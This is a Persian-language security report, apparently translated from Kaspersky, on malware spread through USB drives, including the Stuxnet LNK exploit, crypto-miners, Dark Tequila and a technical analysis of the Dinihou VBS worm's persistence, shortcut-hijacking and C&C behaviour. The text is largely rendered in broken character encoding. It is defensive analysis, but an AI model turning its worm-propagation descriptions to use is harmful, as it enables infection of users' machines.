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 هقذهِ 1

( ثسٍى ثطچؿت ضا زض اَطاف زاًكگبُ USB) زضایَ فلف 297، هحققبى زاًكگبُ ایلیٌَی 2016زض ؾبل 

کبضکٌبى ٍ زاًكجَیبى ثطزاقتٌس ٍ حساقل ًیوی % اظ آى ّب ضا 98گصاقتٌس تب ثطضؾی کٌٌس چِ اتفبقی هی افتس. 

هحتَای آى ّب ضا هكبّسُ کٌٌس.  ثطای یک ّکط  کبضثطاى اظ ضٍی کٌجکبٍی اظ آى ّب ثِ کبهپیَتط هتهل قسًس تب

 ٍ جصاثی ّؿتٌس.  ثؿیبض ذَةکِ تلاـ هی کٌس یک قجکِ کبهپیَتطی ضا آلَزُ کٌس، ایي ّب قبًؽ ّبی 

ّب ثِ ٍجَز آهسُ اًس ٍ کبض آى ّب اضائِ یک ضاُ آؾبى ٍ ؾبزُ ثطای   USBِ تقطیجب حسٍز ثیؿت ؾبل اؾت ک

شذیطُ ٍ اًتقبل فبیل ّبی زیجیتبل ثیي کبهپیَتطّبیی اؾت کِ ثِ ََض هؿتقین ثِ یکسیگط یب ثِ ایٌتطًت 

ي کِ هؼطٍف تطی هَضز ؾَءاؾتفبزُ قطاض زازُ هی قَزهتهل ًیؿتٌس. ایي قبثلیت تَؾٍ ػبهلیي تْسیس هجبظی 

ثطای تعضیق ًطم افعاضّبی هرطة ثِ یک   USBاؾت. اؾتبکؿٌت اظ  2010زض ؾبل  1آى ّب کطم اؾتبکؿٌت

 قجکِ تبؾیؿبت ّؿتِ ای ایطاى اؾتفبزُ کطز. 

یوی اظ زازُ ّب ضا شذیطُ کطزُ ٍ اًتقبل هی زٌّس ٍ ظحجن ػ 2اهطٍظُ ؾطٍیؽ ّبی اثطی هبًٌس زضاح ثبکؽ

ّب ٍجَز زاضز. اؾتفبزُ اظ آى ّب ثِ ػٌَاى یک اثعاض  USBثٌَ ثِ ّوچٌیي آگبّی ثیكتطی اظ ذُطات هط

ثطای اؾتفبزُ زض  USBتجبضی يطٍضی زض حبل کبّف اؾت. ثب ایي ٍجَز، ّوچٌبى ؾبلاًِ هیلیَى ّب زؾتگبُ 

 ذبًِ ّب، کؿت ٍ کبضّب ٍ کوپیي ّبی اضتقبء ثبظاضیبثی هبًٌس ًوبیكگبُ ّبی تجبضی تَلیس ٍ تَظیغ هی قًَس.  

USB ًكبى زازُ  2017زض ؾبل  3ّب ّسفی ثطای تْسیسّبی هجبظی ّؿتٌس. زازُ ّبی آظهبیكگبُ کؿپطاؾکی

کبضثط یک ًفط زض ؾطاؾط جْبى تحت تبثیط یک ٍاقؼِ ؾبیجطی هحلی قطاض  4هبُ یب ثیكتط، اظ ّط  12اؾت کِ ّط 

ی هی قًَس ٍ قبهل آلَزگی هی گیطز. ایي ّب حولاتی ّؿتٌس کِ ثِ ََض هؿتقین ضٍی کبهپیَتط کبضثط قٌبؾبی

 ایجبز هی قًَس.  USBّبیی ّؿتٌس کِ تَؾٍ ضؾبًِ ّبی قبثل جبثجبیی هبًٌس زؾتگبُ ّبی 

ضا ثطضؾی USB  ایي گعاضـ، چكن اًساظ فؼلی تْسیسّبی هجبظی ثطای ضؾبًِ ّبی قبثل جبثجبیی، ثِ ٍیػُ

ّبی کَچک ٍ زازُ ّبیی کِ جبثجب کٌس ٍ تَنیِ ّب ٍ پیكٌْبزاتی ضا زض هَضز حفبظت اظ ایي زؾتگبُ  هی

ّوچٌیي یکی اظ هؼطٍف تطیي ثسافعاضّبیی کِ ضٍـ اًتكبض ذَز ضا هٌحهطا ثط پبیِ  کٌٌس اضائِ هی زّس. هی

 ًبم زاضز. Dinihouقطاض زازُ اؾت ضا هَضز تحلیل قطاض ذَاّین زاز. ایي کطم  USBزیؿک ّبی قبثل حول 
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 سٍش ٍ یافتِ ّای کلیذی  2

یبفتِ ّبی ایي گعاضـ ثط هجٌبی تكریم ّبیی اؾت کِ تَؾٍ تکٌَلَغی ّبی حفبظت اظ فبیل آظهبیكگبُ 

کبضثطاى ثب اػوبل یک فیلتط اؾکي ذبل ٍ ؾبیط اقساهبت ثسؾت  زیؿک ّبی قبثل حولثط ضٍی  کؿپطاؾکی

 آهسُ اؾت.

 

 یافتِ ّای کلیذی 

  زؾتگبُ ّبیUSB 4ٍ زیگط ضؾبًِ ّبی قبثل حول ثطای اًتكبض ًطم افعاض هبیٌیٌگ پَل الکتطًٍیکی 

. ثؼًی اظ قطثبًیبى یبفت قسُ اؾتٍجَز زاقتِ  2015حساقل اظ ؾبل ایي قًیِ اؾتفبزُ هی قًَس ٍ 

 اًس کِ ؾبل ّب یک آلَزگی ضا حول هی کطزُ اًس. 

 5ًطخ تكریم ثطای هؼطٍف تطیي هبیٌط ثیت کَیي ،Trojan.Win64.Miner.all زض حسٍز یک ،

 قكن ؾبل ثِ ؾبل زض حبل ضقس اؾت. 

  کبضثط یک هَضز آى ّب تَؾٍ آلَزگی ّبی ضؾبًِ ّبی هتحطک ثب ایي هبیٌط  10، اظ ّط 2018زض ؾبل

 (. 2016% زض ؾبل 4.2ٍ  2017% زض ؾبل 6.7% ، اظ 9.22الکتطًٍیکی ّسف قطاض گطفتِ اًس )حسٍز 

 ٍ ِیٌسٍظ ؾبیط ثسافعاضّب اظ جولLNK اظ َطیق ضؾبًِ ّبی قبثل حول/ 6اظ ذبًَازُ تطٍجبى ّبUSB 

 جعء ؾِ هَضز اظ هْن تطیي تْسیسّب ّؿتٌس.   2016پرف هی قًَس کِ اظ ؾبل 

  2012اؾتبکؿٌت ؾبل  ،CVE-2010-2568  هرطة تطیي ؾَء اؾتفبزُ ّب  10، ّوچٌبى یکی اظ

  اؾت کِ اظ َطیق ضؾبًِ ّبی قبثل حول هٌتكط هی قَز.

  ثبظاضّبی ًَظَْض ثِ قست زض هؼطو آلَزگی هرطة ثِ ٍؾیلِ ضؾبًِ ّبی قبثل جبثجبیی ّؿتٌس- 

اهب هَاضزی ًیع زض  -آؾیب، آفطیقب ٍ آهطیکبی جٌَثی زض هؼطو ثیكتطیي آؾیت پصیطی قطاض زاضًس 

 کكَضّبی اضٍپب ٍ آهطیکبی قوبلی کكف قسُ اؾت. 

 Dark Tequila ، گعاضـ قسُ اؾت، ههطف  2018اٍت  21یک تطٍجبى پیچیسُ ثبًکی کِ زض تبضید

ّسف قطاض زازُ اؾت کِ ػوستب اظ َطیق  2013کٌٌسگبى ٍ قطکت ّبی ثعضگی ضا زض هکعیک اظ ؾبل 

 گؿتطـ هی یبثس.    USBزؾتگبُ ّبی 
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 ّا  USBچشن اًذاص دس حال سشذ تْذیذّای هجاصی تشای  3

آى ّبیی کِ ثِ  –ِ ّبی قبثل جبثجبیی ثِ ػٌَاى تْسیسّبی هحلی تؼطیف هی قًَس آلَزگی ّبی ًبقی اظ ضؾبً

ََض هؿقین ثط ضٍی کبهپیَتط کبضثط قٌبؾبیی هی قًَس، ثطای هثبل زض َی ثطًبهِ ضیعی، ًهت ٍ یب اؾکي 

اهٌیتی آغبظ قسُ تَؾٍ کبضثط. تْسیسات هحلی ثب تْسیسّبی ضایج تطی کِ اظ َطیق ایٌتطًت ضخ هی زٌّس 

ثؿیبض هتفبٍت ّؿتٌس. آلَزگی ّبی هحلی ًیع هی تَاًٌس ًبقی اظ یک ثطًبهِ هرطة ضهعگصاضی قسُ ثبقٌس کِ 

زض یک ًهت کٌٌسُ پیچیسُ پٌْبى قسُ اؾت. ثطای جساؾبظی زازُ ّبی ثسافعاض کِ تَؾٍ ضؾبًِ ّبی قبثل 

کبهپیَتط  ضیكِ زضایَّبی كط قسُ اًس، ضٍـ ّبی تكریهی ضا ثِ کبض هی ثطین کِتهٌ USBجبثجبیی اظ جولِ 

 هٌجؼی هْن کِ ًكبى هی زّس هطجغ آلَزگی ضؾبًِ قبثل حول اؾت.  –تحت تبثیط ضا ثطضؾی هی کٌٌس 

ایي زازُ ّب ًكبى هی زٌّس کِ تؼساز تكریم ّبی هطثٌَ ثِ تْسیسات ًبقی اظ ضؾبًِ ّبی قبثل جبثجبیی ثِ 

، 2014ی کبّف هوکي اؾت کوتط قَز. زض ؾبل زض حبل کبّف اؾت، اهب ًطخ کل 2014ََض پیَؾتِ اظ ؾبل 

 1:42ًؿجت ثیي یک کبضثط تحت تبثیط تْسیس ضؾبًِ ّبی قبثل جبثجبیی ٍ تؼساز کل تْسیسات قٌبؾبیی قسُ 

 2018کبّف یبفت ٍ ثطآٍضز هی قَز کِ زض ؾبل  1:25ایي هیعاى تقطیجب ًهف قس ٍ تب  2017ثَز؛ تب ؾبل 

 ثطؾس.  1:22حسٍزا ثِ 

، آًتی ٍیطٍؼ فبیل آظهبیكگبُ 2017ض هقبیؿِ ثب تْسیسّبی ٍة کن ضًگ ّؿتٌس: زض ؾبل ایي اضقبم ز

هیلیَى هَضز تْسیس هطثٌَ ثِ ضؾبًِ ّبی قبثل جبثجبیی ضا قٌبؾبیی کطز، زض حبلی کِ  113.8کؿپطاؾکی 

ِ ایي هی هیلیبضز حولِ اًجبم قسُ اظ هٌبثغ آًلایي ضا تكریم زاز. ثب تَجِ ث 1.2آًتی ٍیطٍؼ ٍة آى فقٍ 

تَاى ذُطات هبًسگبض اضائِ قسُ تَؾٍ ضؾبًِ ّبی قبثل حول ضا ًبزیسُ گطفت، حتی اگط حسٍز چْبض هیلیَى 

 آلَزُ قًَس. 2018کبضثط زض ؾطاؾط جْبى زض ؾبل 

 
*تعذاد کل تطخیص ّا هخرب اًجام ضذُ در ریطِ درایَّای کاهپیَتر کاربر )بِ هیلیَى(، یک ضاخص قَی برای آلَدگي 

 . 2118-2113هربَط بِ رساًِ ّای قابل حول، ّای 
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تعذاد کاربراى هتوایس در تطخیص ّای هخرب اًجام ضذُ در ریطِ درایَّای کاهپیَتر )بِ هیلیَى(، یک ضاخص قَی 

 .2118-2113برای آلَدگي ّای هربَط بِ رساًِ ّای قابل حول، 

 

4 USB  ِتِ عٌَاى اتضاسی تشای عاهلاى تْذیذ پیششفت 

هَضز ػلاقِ هْبجوبًی ّؿتٌس کِ قجکِ ّبی کبهپیَتطی ثسٍى اتهبل ثِ ایٌتطًت ضا ّسف  USBزؾتگبُ ّبی 

هبًٌس آى ّبیی کِ ظیطؾبذت ّبی هلی حیبتی ضا تبهیي هی کٌٌس. هؼطٍف تطیي هثبل ایي  –قطاض هی زٌّس 

هٌظَض اذتلال زض  ، کطم اؾتبکؿٌت ث2010ٍِ  2009هَضز احتوبلا کوپیي اؾتبکؿٌت اؾت. زض ؾبل ّبی 

 ػولیبت، اهکبًبت ّؿتِ ای ایطاى ضا ّسف قطاض زاز. 

ی کِ اهکبى زؾتطؾی غیط هحلی ضا ًساضًس ثطای تعضیق ًطم افعاضّبی هرطة ثِ قجکِ ّبی USB زؾتگبُ ّبی

 اؾتفبزُ هی قسًس. زض هیبى چیعّبی زیگط، ایي زؾتگبُ ّب قبهل یک ؾَء اؾتفبزُ اظ آؾیت پصیطی ٍیٌسٍظ

LNK  (CVE-2010-2568 ثَز کِ اهکبى اجطای کس اظ ضاُ زٍض ضا فؼبل هی کطز. زیگط ػبهلاى تْسیس )

ّوِ ؾَء اؾتفبزُ ّبی  Equation Group ،Flame  ،Regin  ٍHackingTeamپیكطفتِ اظ جولِ 

 هطثٌَ ثِ ایي آؾیت پصیطی ضا زض ضؾبًِ ّبی قبثل حول ثِ هٌظَض اؾتفبزُ زض حولات ازغبم هی کٌٌس. 

ثِ آى ّب ایي اهکبى ضا هی زّس کِ ثطای اضائِ ثرف ّبی  USBٍُ ثط ایي، ؾبذتبض ثیكتط زؾتگبُ ّبی ػلا

 ProjectSauronهرفی شذیطُ ؾبظی، ثطای هثبل حصف زازُ ّبی ثِ ؾطقت ضفتِ، ثِ کبض ضًٍس. جؼجِ اثعاض 

ثِ ؾیؿتن ّبی هتهل ثِ  ایعٍلِقبهل یک هبغٍل ٍیػُ ثَز کِ ثطای اًتقبل زازُ ّب اظ قجکِ ّبی  2016

 USBهیكس کِ ثطای تغییط اًساظُ پبضتیكي ضٍی  USBایٌتطًت َطاحی قسُ ثَز. ایي هَضز قبهل زضایَّبی 

 ٍ اذتهبل فًبّبی هرفی )چٌسنس هگبثبیت( ثطای اّساف هرطة فطهت قسُ ثَزًس.
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 CVE-2212-2568تاصهاًذُ استاکسٌت  4-1

ثطَطف کطز. ثب ایي حبل، زض ؾبل  2015ضا زض هبضؼ  LNKهبیکطٍؾبفت آذطیي هَضز اظ کس آؾیت پصیط 

اظ ّط چْبض ًفط یک هَضز اظ کبضثطاى کِ ثب یک ؾَء اؾتفبزُ اظ َطیق حولات ضؾبًِ ای اظ جولِ  2016

)اگطچِ زض  ًستْسیسّبی ایٌتطًتی هَاجِ قسُ ثَز، ثب یک ؾَء اؾتفبزُ ثطای ایي آؾیت پصیطی ًیع ضٍثطٍ قس

ّوچٌبى  CVE-2010-2568(. ثب ایي حبل، ثَزًسهجتلا قسُ   EternalBlueُ ثِ ؾَء اؾتفبز 2017ؾبل 

زض نَضتی ٍ زیگط ضؾبًِ ّبی قبثل جبثجبیی ازاهِ زاضز:  USB زض ثسافعاضّبی تَظیغ قسُ تَؾٍ زؾتگبُ ّبی

هْن قطاض زاضز کِ تْسیس  10کِ ػلیطغن کبّف ؾطیغ تؼساز تكریم ّب ٍ قطثبًیبى، ّوچٌبى زض هیبى  کِ

 تكریم زازُ قسُ اًس.  KSN َؾٍت

 
،  CVE-2111-2568ریطِ درایَّا )رساًِ ّای قابل جابجایي( برای یک سَء استفادُ برای  تطخیص ّای )بِ هیلیَى(

 KSN. هٌبع:  2113-2118

 



  

8 

 

 
 

 
-CVE-2111ریطِ درایَّا )رساًِ ّای قابل جابجایي( برای یک سَء استفادُ برای  کاربراى تطخیص ّای )بِ هیلیَى(

 KSN. هٌبع:  2113-2118،  2568

 

اگط تكریم ؾَء اؾتفبزُ ّب ًكبًِ ای اظ حجن ًطم افعاضّبی هرطة ثبقس کِ اظ َطیق ضؾبًِ ّبی قبثل حول 

 اًتقبل زازُ هی قًَس، هَاضز ظیط ًَع ثسافعاضی ضا کِ ثِ ایي تطتیت تَظیغ هی قَز ًكبى هی زٌّس.

 ذًدادُ هی شَ گستششحول  اص طشیق سساًِ قاتل ّایی کِتذافضاس 4-2

تبکٌَى ًؿجتب پبیساض ثبقی  2016ثسافعاضّبیی کِ اظ َطیق ضؾبًِ ّبی قبثل حول گؿتطـ هی یبثٌس، اظ ؾبل 

، تطٍجبى ّبیی کِ حبٍی لیٌک ّبیی ثطای زاًلَز  LNKهبًسُ اًس. ثطای هثبل، ذبًَازُ ثسافعاضّبی ٍیٌسٍظ 

هرطة ّؿتٌس، ؾِ هَضز ػوسُ اظ تْسیسّبیی هی ثبقٌس کِ  فبیل ّبی هرطة یب هؿیط هطثٌَ ثِ اجطای فبیل

ّبی قبثل حول پرف هی قًَس. ایي ثسافعاض ثطای ترطیت، هؿسٍز کطزى، تغییط زازى یب کپی  تَؾٍ ضؾبًِ

کطزى زازُ ّب یب اذتلال زض کبضکطز زؾتگبُ یب قجکِ آى تَؾٍ هْبجوبى هَضز اؾتفبزُ قطاض هی گیطز. تطٍجبى 

WinLNK Runner ِثِ ػٌَاى هْن تطیي تْسیس  کUSB  قٌبؾبیی قس، زض کطهی ثطای ضاُ  2017زض ؾبل

 ّبی اجطایی اؾتفبزُ قسُ اؾت.  اًساظی فبیل

کبضثط ضا تحت  900.000قٌبؾبیی قس کِ تقطیجب  WinLNK.Agentهیلیَى آلَزگی  22.7، 2017زض ؾبل 

کبضثط ضا ّسف  700.000هیلیَى ثطآٍضز قسُ کِ ثیف اظ  23حسٍز  2018تبثیط قطاض زاز. ایي ضقن ثطای ؾبل 

زضنسی تؼساز کبضثطاى زض  20زضنسی تكریم ّب ٍ کبّف  2قطاض هی زّس. ایي ضًٍس ًكبى زٌّسُ افعایف 

 ّط ؾبل اؾت. 
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زضنسی  61کبّف  –ثِ قست کبّف یبثس  WinLNK Runnerِ ایي ضقن ثطای تطٍجبى اًتظبض هی ضٍز ک

 51ثطآٍضز قسُ اؾت؛ کبّف  2018هیلیَى کِ ثطای ؾبل  1ثِ  2017هیلیَى زض ؾبل  2.75تكریم ّب، اظ 

زض ؾبل  450.000ثِ ثیف اظ  2017زض ؾبل  920.000زضنسی کبضثطاًی کِ ّسف قطاض گطفتِ اًس )اظ حسٍز 

2018.)   

اقبضُ کطز کِ  salityپرف هی قًَس هی تَاى ثِ  USBاظ هیبى ؾبیط ثسافعاضّبی اؾبؾی هرطة کِ اظ َطیق 

 Dinihouقٌبؾبیی قس اهب اظ آى ظهبى ثِ قست تغییط یبفت، ٍ هَضز زیگط هی تَاى  2003اٍلیي ثبض زض ؾبل 

 LNKی هرطة کَتبّی )کپی هی کٌس ؾپؽ هؿیطّب USBضا ًبم ثطز کِ ثِ نَضت ذَزکبض ذَز ضا ضٍی 

 ّب( ضا ایجبز هی کٌس کِ ثِ هحى ایٌکِ قطثبًی آى ّب ضا ثبظ کطز ثطًبهِ هرطة اجطا قَز.  

 

 ًادس اها پایذاس  –هایٌشّا  4-3

ثطای اًتكبض ًطم افعاض هبیٌیٌگ پَل الکتطًٍیکی ًیع اؾتفبزُ هی قًَس. ایي کبض ًؿجتب  USBزؾتگبُ ّبی 

فی ثطای هْبجوبى هَفقیت آهیع ثَزُ اؾت کِ ّوچٌبى اظ ایي ضٍـ اًتكبض غیطهؼوَل اؾت، اهب ثِ اًساظُ کب

یک هبیٌط هؼطٍف  Trojan.Win32.Miner.ays/Trojan.Win64.Miner.allاؾتفبزُ هی کٌٌس. 

 قٌبذتِ قسُ هی ثبقس.  2014اؾت کِ اظ ؾبل  ضیكِ زضایَتكریم زازُ قسُ زض 

طفیت پطزاظًسُ کبهپیَتط آلَزُ ثطای تَلیس پَل الکتطًٍیکی ثسافعاضّبی ایي ذبًَازُ، ثِ نَضت هرفیبًِ اظ ظ

اؾتفبزُ هی کٌٌس. تطٍجبى ثطًبهِ هبیٌیٌگ ضا ضٍی کبهپیَتط قطاض هی زّس، ؾپؽ آى ضا ًهت کطزُ ٍ ثِ نَضت 

ض هرفیبًِ آى ضا اجطا هی کٌس، ؾپؽ ایي ثطًبهِ پبضاهتطّبیی ضا زاًلَز کطزُ کِ اٍ ضا قبزض ثِ اضؾبل ًتبیج ثِ ؾطٍ

 ذبضجی تحت کٌتطل هْبجن هی کٌس. 

قٌبؾبیی  2018ًكبى هی زّس کِ حًَض ثطذی اظ آلَزگی ّبیی کِ زض ؾبل  ّبی اهٌیتیزازُ ّبی آظهبیكگبُ 

قسُ اًس ثِ ؾبل ّبی پیف ثبظ هی گطزز کِ ایي ذَز ًكبى زٌّسُ یک آلَزگی ََلاًی اؾت کِ احتوبلا تبثیط 

 ُ قطثبًی زاقتِ اؾت.هٌفی چكوگیطی ضٍی تَاى پطزاظقی زؾتگب

 ثِ قطح ظیط اؾت:  Trojan.Win32.Miner.ays ثیتی 32زازُ ّبی تكریم ثطای ًؿرِ  

 

 136.954) 2017ؾبل  H1ثیتی ثیي  32زضنسی زض تؼساز افطاز تحت تبثیط هبیٌط ًؿرِ  28.13یک کبّف 

 کبضثط هٌحهط ثِ فطز( ٍجَز زاقتِ اؾت.  93.433) 2018ؾبل  H1کبضثط هٌحهط ثِ فطز( ٍ 
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Trojan.Win64.Miner.all  قبّس افعایف چكوگیط زض ؾبل اٍل تكریم ثَز، پؽ اظ ظهبًی کِ تؼساز ،

کبضثطاى ثِ یک ًطخ ضقس ثبثت ثطاثط ثب تقطیجب یک قكن زض ؾبل ضؾیسُ اؾت. ظهبًی کِ تؼساز کبضثطاًی ضا کِ ثب 

قبثل حول  ایي ثسافعاض هبیٌیٌگ ّسف قطاض گطفتِ اًس زض ثطاثط تؼساز کل کبضثطاى کِ تَؾٍ تْسیسات ضؾبًِ ّبی

تحت تبثیط قطاض گطفتِ اًس هقبیؿِ هی قًَس ًیع ایي هیعاى ضقس کَچک اهب پبیساض زیسُ هی قَز. ایي اهط ًكبى 

ضٍثطٍ هی قَز ، ثب  2018کبضثط ثب تْسیس ضؾبًِ ّبی هتحطک زض ؾبل  10هی زّس کِ حسٍزا یک ًفط اظ ّط 

 پیف تقطیجب زٍ ثطاثط افعایف یبفتِ اؾت.  ایي هبیٌط ًیع هَاجِ ذَاّس قس ٍ ایي ضقن ًؿجت ثِ زٍ ؾبل

 ایي ًتبیج ًكبى هی زّس کِ اًتكبض اظ َطیق ضؾبًِ ّبی قبثل حول ثِ ذَثی ثطای ایي تْسیس ػول هی کٌس. 

 ثِ قطح ظیط اؾت:  Trojan.Win64.Miner.all زازُ ّبی تكریم ثطای

 

 

4-4 Dark Tequila –  ِتذافضاس تاًکذاسی پیششفت 

ضا   Dark Tequilaیک ػولیبت ؾبیجطی پیچیسُ ثب ًبم  کؿپطاؾکیهحققبى آظهبیكگبُ  ، 2018زض اٍت ؾبل 

ؾبل اؾت کبضثطاى ضا زض هکعیک ّسف قطاض زازُ، اَلاػبت کبضت ّبی اػتجبضی  5گعاضـ کطزًس کِ حساقل 

طثبًی ثبًکی، قرهی ٍ اَلاػبت قطکت ّب ضا تَؾٍ ثسافعاض ثِ ؾطقت ثطزُ ٍ هی تَاًس ٌّگبهی کِ کبهپیَتط ق

 ذبهَـ اؾت زض آى ػولیبتی ضا اًجبم زّس. 

فیكیٌگ آلَزُ ٍ  USB، کس هرطة اظ َطیق زؾتگبُ کؿپطاؾکیثب تَجِ ثِ یبفتِ ّبی هحققبى آظهبیكگبُ 

هٌتكط قسُ ٍ قبهل ٍیػگی ّبیی اؾت کِ اظ تكریم جلَگیطی هی کٌس.  اػتقبز ثط ایي اؾت کِ ػبهل تْسیس 

 ، زض انل اؾپبًیبیی ظثبى یب آهطیکبیی لاتیي اؾت.  Dark Tequilaپٌْبى قسُ زض 

 جغشافیای ّذف  5

 ثِ ًظط هی ضؾس کِ ثبظاضّبی ًَظَْض زض ثطاثط آلَزگی ضؾبًِ ّبی قبثل حول، ثیكتطیي آؾیت پصیطی ضا زاضًس. 

 ؾَم اظ کبضثطاى یک-ًكبى هی زٌّس کِ زض ثؿیبضی اظ ایي کكَضّب، تقطیجب زٍ 2017اػساز ؾبلاًِ ثطای ؾبل 

حبزثِ هحلی ضا تجطثِ کطزُ اًس کِ قبهل آلَزگی ثسافعاضّبی هطثٌَ ثِ ضؾبًِ ّبی قبثل جبثجبیی اؾت زض 

هقبیؿِ ثب کوتط اظ یک زض چْبض کبضثط کِ زض اقتهبزّبی پیكطفتِ ضخ هی زّس. ثِ ًظط هی ضؾس کِ ایي اضقبم 

 ًیع ثِ ّویي تطتیت ثبقٌس.  2018ثطای ؾبل 
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اظ َطیق ضؾبًِ ّبی قبثل حول پرف هی قًَس، آؾیت زیسُ تطیي کكَض ّب زض کِ  LNKثطای ؾَء اؾتفبزُ 

%( 10.9%( ٍ ٌّس )11.2% اظ کبضثطاى تحت تبثیط قطاض گطفتِ اًس(، الجعایط )18.8تب کٌَى ٍیتٌبم ) 2018ؾبل 

ثطذی ّؿتٌس. ّوچٌیي آلَزگی ّبیی زض ؾبیط هٌبَق آؾیب، ضٍؾیِ ٍ ثطظیل ٍ زض هیبى ؾبیطیي ًیع تؼسازی زض 

 اظ کكَضّبی اضٍپبیی )اؾپبًیب، آلوبى، فطاًؿِ، اًگلؿتبى ٍ ایتبلیب(، ایبلات هتحسُ ٍ غاپي ًیع زیسُ قسُ اؾت. 

 
 KSN. هٌبع: 2118از طریق رساًِ ّای هتحرک ،   CVE-2111-2568تعذاد کاربراى تحت تاثیر یک سَء استفادُ برای 

 یطگاُ کسپرسکي(هطتری آزها 11،111)تٌْا کطَرّای دارای بیص از 

 

 :ثطای هبیٌط گؿتطزُ تط اؾت هَفقیت

%(، 23.7ػوستب زض ٌّس ) Trojan.Win32.Miner.ays/Trojan.Win.64.Miner.allتكریم ّبی 

%( یبفت 14.38احتوبلا تحت تبثیط یک هكتطی ثعضگتط قطاض ذَاّس گطفت( ٍ قعاقؿتبى ) -% 18.45ضٍؾیِ )

قسُ اًس. ّوچٌیي آلَزگی ّبیی زض ؾبیط ثرف ّبی آؾیب ٍ آفطیقب ٍ تؼسازی زض چٌس کكَض اضٍپبیی )اًگلؿتبى، 

ایتبلیب، زاًوبضک ٍ ؾَئس(، ایبلات هتحسُ، کبًبزا ٍ غاپي زیسُ آلوبى، ّلٌس، ؾَییؽ، اؾپبًیب، ثلػیک، اتطیف، 

 قسُ اؾت. 
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)تٌْا  KSN . هٌبع:2118تعذاد کاربراى تحت تاثیر هایٌر پَل الکترًٍیکي بیت کَیي از طریق رساًِ ّای قابل حول، 

 هطتری آزهایطگاُ کسپرسکي( 11،111کطَرّای دارای بیص از 
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 Dinihouکشم ٍ جاسَس افضاس تحلیل  6

یکی اظ هؼطٍف تطیي ثسافعاضّبیی اؾت کِ ضٍـ تکثیط ٍ اًتكبض ذَز ضا هٌحهطا ثب اؾتفبزُ اظ  Dinihouکطم 

کكف قس ٍلی َی ؾبل ّبی  2015اًجبم هی زّس. ایي ثسافعاض ًرؿتیي ثبض زض ؾبل  USBزیؿک ّبی 

تؼساز ثؿیبض ظیبزی اظ  2018ّن اکٌَى ًیع زض ؾبل  ثؼسی ًؿرِ ّبی پیكطفتِ تطی اظ آى ایجبز ٍ هٌتكط قس ٍ

زض ؾطتبؾط زًیب تَؾٍ ایي ثسافعاض آلَزُ ّؿتٌس. اظ ایي ضٍ زض ایي قؿوت اظ گعاضـ ثِ  USBزیؿک ّبی 

 ثطضؾی فٌی ایي ثسافعاض ثؿیبض هؼطٍف ذَاّین پطزاذت.

ضجیؿتطی ضا تغییط  کپی هی کٌس. ؾپؽ کلیس ّبی %TEMP%ایي کطم فبیل اجطایی ذَز ضا زضٍى پَقِ 

هی زّس تب ظهبًی کِ ؾیؿتن ػبهل ضاُ اًساظی هی قَز، آى ضا ثِ ََض ذَزکبض اجطا کٌس. ٌّگبهی کِ یک زضایَ 

ثِ ؾیؿتن قطثبًی هتهل قَز، ایي ثسافعاض فبیل ذَز ضا زضٍى آى کپی هی کٌس. ؾپؽ  USBقبثل حول 

ی ٍ ؾیؿتوی زض آٍضزُ ٍ ثِ اظای ّط کسام ضا ثِ نَضت هرف USBتوبهی فبیل ّب ٍ فَلسضّبی زضٍى زیؿک 

زض ٍاقغ  LNKٍیٌسٍظ اؾت هی ؾبظز. ایي فبیل ّبی  shortcutکِ ّوبى فبیل  LNKاظ آى ّب یک فبیل 

ضا ًیع هُبثق  LNKفبیل ّبی  iconٍظیفِ اجطای کس ثسافعاض ٍ ؾپؽ اجطای فبیل انلی ضا زاضًس. ثسافعاض 

 فبیل انلی زض ذَاّس آٍضز.

ضا ثِ ؾیؿتن هتهل هی کٌس، ثِ ظبّط فبیل ّب ٍ فَلسضّبی آى ضا  USBثِ ایي ضٍـ کبضثط هَقؼی کِ زیؿک 

اجطا قسُ ٍ  LNKهكبّسُ هی کٌس ٍ ثطای اجطای آى ّب ثط ضٍی آى ّب کلیک هی کٌس. ٍلی زض ٍاقغ فبیل 

 ثسافعاض زضٍى ؾیؿتن قطثبًی کپی هی قَز.

ثِ  POSTٍ هتس  HTTP( اؾت کِ زؾتَضات ضا زض قبلت C&Cل )ایي کطم زاضای یک ؾطٍض فطهبى ٍ کٌتط

ثسافعاض اضؾبل هی کٌس. اهکبى زاًلَز فبیل جسیس ٍ اجطای آى تَؾٍ ثسافعاض ٍجَز زاضز اظ ایي ضٍ هی تَاًس ثِ 

 ػٌَاى اجطا کٌٌسُ ثسافعاضّبی ذُطًبک زیگط ًیع ثِ کبض ضٍز.

 تحلیل فٌی تذافضاس 6-1

ًَقتِ قسُ اؾت کِ یک ظثبى اؾکطیپتی ثط پبیِ ظثبى  VBSیب ّوبى  VisualBasic Scriptایي ثسافعاض ثِ ظثبى 

زضٍى  wscript.exeاؾت. کسّبی ًَقتِ قسُ ثِ ایي ظثبى تَؾٍ ثطًبهِ ای ثِ ًبم  Visual Basicثطًبهِ ًَیؿی 

اظ َطفی  اؾت. ًَقتي ثسافعاض ثِ ایي ظثبى ضاحت تط اؾت ٍ vbs.ٍیٌسٍظ اجطا هی قًَس. پؿًَس ایي فبیل ّب 

قسضت ثبلای ایي اؾکطیپت ٍ ػسم تَجِ کبفی آًتی ٍیطٍؼ ّب ثِ ایي ًَع اؾکطیپت ّب ثبػث قسُ اؾت تب هَضز 

 هٌبؾجی ثطای تَؾؼِ ایي چٌیي اظ ثسافعاضّب ثبقس.
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 سفع اتْام کذ تذافضاس 6-1-1

م ّبی اؾکطیپت انلی ثسافعاض ثِ نَضت هجْن قسُ هی ثبقس. ایي اؾکطیپت تٌْب زاضای زٍ هتغیط ثِ ًب

WinOs  ٍsystemProtector :اؾت ٍ یک زؾتَض کِ هحتَای هتغیط ضا اجطا هی کٌس 
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ثطای ضهعگكبیی کسّبی زضٍى اؾکطیپت، ًرؿت کبفیؿت هحتَای زٍضى هتغیط ضا ثِ نَضت کبهٌت زض آٍضزُ ٍ 

ثسافعاض ثطای هجْن ؾبظی ایي هتغیط، ضقتِ ضا ثِ نَضت پیًَس  هحتَای هتغیط ضا زضٍى یک فبیل شذیطُ کٌین.

( کسّبی اؾکی ّط کبضاکتط ًَقتِ اؾت. پؽ اظ شذیطُ فبیل، هحتَای هتغیط قبثل هكبّسُ ذَاّس &)ثب ػولگط 

 ثَز:

 

ضا حصف هی  WinOSزضٍى هتغیط  ”windows“ّوبى ََض کِ هكبّسُ هی قَز ایي قُؼِ کس، کلوبت 

اؾت تَؾٍ تَاثغ ظیط اظ ضهع زض  Base64کٌس. ؾپؽ هقساض ثسؾت آهسُ ضا کِ یک هقساض کس قسُ تَؾٍ 

